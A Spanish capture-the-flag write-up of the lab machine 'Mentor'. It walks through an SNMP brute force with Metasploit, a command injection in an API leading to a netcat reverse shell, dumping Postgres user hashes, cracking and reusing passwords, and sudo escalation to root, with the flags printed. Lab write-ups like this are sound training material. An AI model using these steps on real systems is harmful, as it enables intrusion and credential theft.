Mentor expone el servicio snmp y una API la cual enumeramos, en esta ultima encontramos una vulnerabilidad de Command Injection la cual nos permitio acceder a un contenedor de docker. Una vez dentro, descubrimos credenciales en la base de datos postgres, con ello logramos acceder a un primer usuario por SSH. Accedimos a un segundo usuario con la configuracion del servicio snmp que, finalmente nos permitio escalar privilegios como root.
# nmap -p$ports -sV -sC 10.10.11.193 -oN nmap_scanNmap scan report for 10.10.11.193 (10.10.11.193)Host is up (0.083s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3(Ubuntu Linux; protocol 2.0)| ssh-hostkey:
|256 c7:3b:fc:3c:f9:ce:ee:8b:48:18:d5:d1:af:8e:c2:bb (ECDSA)|_ 256 44:40:08:4c:0e:cb:d4:f1:8e:7e:ed:a8:5c:68:a4:f7 (ED25519)80/tcp open http Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://mentorquotes.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)Service Info: Host: mentorquotes.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# nmap -sU -p- --min-rate 10000 10.10.11.193Starting Nmap 7.92 ( https://nmap.org ) at 2023-01-08 15:30 CST
Warning: 10.10.11.193 giving up on port because retransmission cap hit (10).
Nmap scan report for mentorquotes.htb (10.10.11.193)Host is up (0.15s latency).
Not shown: 65455 open|filtered udp ports (no-response), 79 closed udp ports (port-unreach)PORT STATE SERVICE
161/udp open snmp
Nmap done: 1 IP address (1 host up) scanned in 73.58 seconds
snmp
Ejecutamos sobre el puerto snmp el modulo auxiliar snmp_login de metasploit, con el objetivo de encontrar el ‘community’ de este servicio, utilizando un wordlist sugerido por este mismo modulo. Al finalizar la ejecucion se muestra que el community es internal.
[msf](Jobs:0 Agents:0) auxiliary(scanner/snmp/snmp_login) >> show options
Module options (auxiliary/scanner/snmp/snmp_login):
Name Current Setting Required Description
---- --------------- -------- -----------
BLANK_PASSWORDS false no Try blank passwords for all users
BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5 DB_ALL_CREDS false no Try each user/password couple stored in the current database
DB_ALL_PASS false no Add all passwords in the current database to the list
DB_ALL_USERS false no Add all users in the current database to the list
DB_SKIP_EXISTING none no Skip existing credentials stored in the current database (Accepted: none, user, user&realm) PASSWORD no The password to test PASS_FILE /usr/share/metasploit-framework/data/wordlists/snmp_default_p no File containing communities, one per line
ass.txt
RHOSTS 10.10.11.193 yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 161 yes The target port
STOP_ON_SUCCESS false yes Stop guessing when a credential works for a host
THREADS 1 yes The number of concurrent threads (max one per host) USER_AS_PASS false no Try the username as the password for all users
VERBOSE true yes Whether to print output for all attempts
VERSION 2c yes The SNMP version to scan (Accepted: 1, 2c, all)[msf](Jobs:0 Agents:0) auxiliary(scanner/snmp/snmp_login) >>
[msf](Jobs:0 Agents:0) auxiliary(scanner/snmp/snmp_login) >> run
[!] No active DB -- Credential data will not be saved!
[+] 10.10.11.193:161 - Login Successful: internal (Access level: read-only); Proof (sysDescr.0): Linux mentor 5.15.0-56-generic #62-Ubuntu SMP Tue Nov 22 19:54:14 UTC 2022 x86_64[*] Scanned 1 of 1 hosts (100% complete)[*] Auxiliary module execution completed
[msf](Jobs:0 Agents:0) auxiliary(scanner/snmp/snmp_login) >>
Utilizamos snmp-check para enumerar la informacion del servicio.
El nombre de las interfaces sugieren docker en ejecucion, asi mismo los procesos.
Se muestra la ejecucion de uvicorn en ejecucion por el puerto 8000.
Observamos la ejecucion de un script en python el cual tiene algun tipo de secret o contraseña como argumento.
Intentamos realizar ‘bypass’ para ejecutar comandos, en este caso ejecutamos wget, se observa la solicitud realizada a nuestra maquina. Seguramente realiza algun tipo de backup a la direccion dada al archivo con nombre app_backkup.tar.
Shell
Ejecutamos shells y modificamos el valor de path para ejecutar una shell inversa.
Tras realizar la solicitud logramos obtener acceso a la maquina como root. Anteriormente encontramos informacion sobre docker, seguramente obtuvimos acceso a un contenedor.
➜ mentor rlwrap nc -lvp 1335listening on [any]1335 ...
connect to [10.10.14.207] from api.mentorquotes.htb [10.10.11.193]43032/bin/sh: can't access tty; job control turned off
/app # which python
/usr/local/bin/python
/app # python -c 'import pty;pty.spawn("/bin/bash");'Traceback (most recent call last):
File "<string>", line 1, in <module>
File "/usr/local/lib/python3.6/pty.py", line 156, in spawn
os.execlp(argv[0], *argv) File "/usr/local/lib/python3.6/os.py", line 542, in execlp
execvp(file, args) File "/usr/local/lib/python3.6/os.py", line 559, in execvp
_execvpe(file, args) File "/usr/local/lib/python3.6/os.py", line 583, in _execvpe
exec_func(file, *argrest)FileNotFoundError: [Errno 2] No such file or directory
/app # whoami;id;pwdroot
uid=0(root)gid=0(root)groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)/app
/app #
Encontramos los archivos de la API, entre ellos de la base de datos.
fromapp.apiimportcrudfromapp.api.modelsimporttoken,userDB,userSchemafromapp.api.utilsimportis_admin,is_logged,is_a_userfrom.utilsimport*fromfastapiimportAPIRouter,HTTPException,Header,Path,FastAPI,Depends,RequestfromtypingimportListimportosrouter=APIRouter()SECRET=os.getenv('SECRET')# List users@router.get('/',response_model=List[userDB],status_code=201,dependencies=[Depends(is_logged),Depends(is_admin)])asyncdefget_users(request:Request):returnawaitcrud.get_users()# List user by id@router.get('/{id}/',response_model=userDB,status_code=201,dependencies=[Depends(is_logged),Depends(is_admin)])asyncdefget_user_by_id(request:Request,id:int=Path(...,gt=0)):user=awaitcrud.get_user(id)ifnotuser:raiseHTTPException(status_code=404,detail="user not found")returnuser# Add a new user@router.post("/add",response_model=userDB,status_code=201,dependencies=[Depends(is_logged),Depends(is_admin)])asyncdefcreate_user(payload:userSchema):user=awaitis_a_user(payload)ifuserisNone:passelse:raiseHTTPException(status_code=424,detail="User already exists! ")user_id=awaitcrud.create_user(payload)res={"id":user_id,"email":payload.email,"username":payload.username}returnres
En el directorio del usuario svc encontramos nuestra flag user.txt.
1
2
3
4
5
6
7
8
9
/app # cd /home/home # lssvc
/home # cd svc/home/svc # lsuser.txt
/home/svc # cat user.txtd57c5e2b32aa7f2d0bf85dca62da4c53
/home/svc #
User - svc
Postgresql
En el contenedor de docker esta instalada la libreria de sqlalchemy, utilizamos esta junto a las credenciales postgres que encontramos anteriormente para ejecutar queries en la base de datos mentorquotes_db.
1
2
3
4
5
6
7
8
# Queriespython -c 'from sqlalchemy import create_engine; engine = create_engine("postgresql://postgres:postgres@172.22.0.1/mentorquotes_db", echo=True); result = engine.execute("<QUERY>"); a = [i for i in result]; print(a);'# Tablaspython -c 'from sqlalchemy import create_engine; from sqlalchemy import inspect; engine = create_engine("postgresql://postgres:postgres@172.22.0.1/mentorquotes_db", echo=True); insp = inspect(engine); t = insp.get_table_names(); print(t);'# Columnaspython -c 'from sqlalchemy import create_engine; from sqlalchemy import inspect; engine = create_engine("postgresql://postgres:postgres@172.22.0.1/mentorquotes_db", echo=True); insp = inspect(engine); t = insp.get_columns("users"); print(t);'
Enumeramos las tablas, encontramos tres.
1
2
3
4
5
6
7
8
9
10
11
/app/app/api # python -c 'from sqlalchemy import create_engine; from sqlalchemy import inspect; engine = create_engine("postgresql://postgres:postgres@172.22.0.1/mentorquotes_db", echo=True); insp = inspect(engine); t = insp.get_table_names(); print(t);'2023-03-04 01:11:50,290 INFO sqlalchemy.engine.Engine select pg_catalog.version()2023-03-04 01:11:50,290 INFO sqlalchemy.engine.Engine [raw sql]{}2023-03-04 01:11:50,291 INFO sqlalchemy.engine.Engine select current_schema()2023-03-04 01:11:50,291 INFO sqlalchemy.engine.Engine [raw sql]{}2023-03-04 01:11:50,292 INFO sqlalchemy.engine.Engine show standard_conforming_strings
2023-03-04 01:11:50,292 INFO sqlalchemy.engine.Engine [raw sql]{}2023-03-04 01:11:50,294 INFO sqlalchemy.engine.Engine SELECT c.relname FROM pg_class c JOIN pg_namespace n ON n.oid = c.relnamespace WHERE n.nspname = %(schema)s AND c.relkind in ('r', 'p')2023-03-04 01:11:50,294 INFO sqlalchemy.engine.Engine [generated in 0.00017s]{'schema': 'public'}['users', 'quotes', 'cmd_exec']/app/app/api #
Las columnas de la tabla users, las cuales son cuatro: id, email, username y password.
/app/app/api # python -c 'from sqlalchemy import create_engine; engine = create_engine("postgresql://postgres:postgres@172.22.0.1/mentorquotes_db", echo=True); result = engine.execute("select * from users;"); print(type(result)); a = [i for i in result]; print(a);'2023-03-04 01:17:51,666 INFO sqlalchemy.engine.Engine select pg_catalog.version()2023-03-04 01:17:51,666 INFO sqlalchemy.engine.Engine [raw sql]{}2023-03-04 01:17:51,667 INFO sqlalchemy.engine.Engine select current_schema()2023-03-04 01:17:51,667 INFO sqlalchemy.engine.Engine [raw sql]{}2023-03-04 01:17:51,668 INFO sqlalchemy.engine.Engine show standard_conforming_strings
2023-03-04 01:17:51,668 INFO sqlalchemy.engine.Engine [raw sql]{}2023-03-04 01:17:51,669 INFO sqlalchemy.engine.Engine select * from users;2023-03-04 01:17:51,669 INFO sqlalchemy.engine.Engine [raw sql]{}<class 'sqlalchemy.engine.cursor.LegacyCursorResult'>
[(1, 'james@mentorquotes.htb', 'james', '7ccdcd8c05b59add9c198d492b36a503'), (2, 'svc@mentorquotes.htb', 'service_acc', '53f22d0dfa10dce7e29cd31f4f953fd8')]/app/app/api #
crackstation nos muestra unicamente el hash de service_acc.
➜ mentor ssh svc@mentorquotes.htb # 123meunomeeivanisvc@mentorquotes.htb's password:
Welcome to Ubuntu 22.04.1 LTS (GNU/Linux 5.15.0-56-generic x86_64) * Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Mon Jan 9 02:06:01 AM UTC 2023 System load: 0.0234375
Usage of /: 64.9% of 8.09GB
Memory usage: 15%
Swap usage: 0%
Processes: 259 Users logged in: 0 IPv4 address for br-028c7a43f929: 172.20.0.1
IPv4 address for br-24ddaa1f3b47: 172.19.0.1
IPv4 address for br-3d63c18e314d: 172.21.0.1
IPv4 address for br-7d5c72654da7: 172.22.0.1
IPv4 address for br-a8a89c3bf6ff: 172.18.0.1
IPv4 address for docker0: 172.17.0.1
IPv4 address for eth0: 10.10.11.193
=> There are 18 zombie processes.
0 updates can be applied immediately.
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Last login: Mon Dec 12 10:22:58 2022 from 10.10.14.40
svc@mentor:~$ whoami;id;pwdsvc
uid=1001(svc)gid=1001(svc)groups=1001(svc)/home/svc
svc@mentor:~$
User - James
Enumerando los archivos de configuracion de snmp encontramos credenciales.
svc@mentor:/etc/snmp$ ls
snmp.conf snmpd.conf snmpd.conf.d
svc@mentor:/etc/snmp$ cat snmpd.conf | grep -v "#"sysLocation Sitting on the Dock of the Bay
sysContact Me <admin@mentorquotes.htb>
sysServices 72master agentx
agentAddress udp:161,udp6:[::1]:161
view systemonly included .1.3.6.1.2.1.1
view systemonly included .1.3.6.1.2.1.25.1
rocommunity public default -V systemonly
rocommunity6 public default -V systemonly
rouser authPrivUser authpriv -V systemonly
includeDir /etc/snmp/snmpd.conf.d
createUser bootstrap MD5 SuperSecurePassword123__ DES
rouser bootstrap priv
com2sec AllUser default internal
group AllGroup v2c AllUser
view SystemView included .1.3.6.1.2.1.25.1.1
view AllView included .1
access AllGroup "" any noauth exact AllView none none
svc@mentor:/etc/snmp$
Utilizamos esta con el usuario james la cual funciono correctamente.
1
2
3
4
5
6
7
8
svc@mentor:/etc/snmp$ su james
Password:
james@mentor:/etc/snmp$ cdjames@mentor:~$ ls
james@mentor:~$ whoami;id
james
uid=1000(james)gid=1000(james)groups=1000(james)james@mentor:~$
Privesc
Tras ejecutar sudo -l -l observamos que el usuario james puede ejecutar sh como root.
james@mentor:~$ sudo -l -l
[sudo] password for james:
Matching Defaults entries for james on mentor:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User james may run the following commands on mentor:
Sudoers entry:
RunAsUsers: ALL
Commands:
/bin/sh
james@mentor:~$ sudo sh
# whoami;idroot
uid=0(root)gid=0(root)groups=0(root)# cd# lslogins.log root.txt scripts snap
# cat root.txted605945a5870ecc993bda7574b545b1
#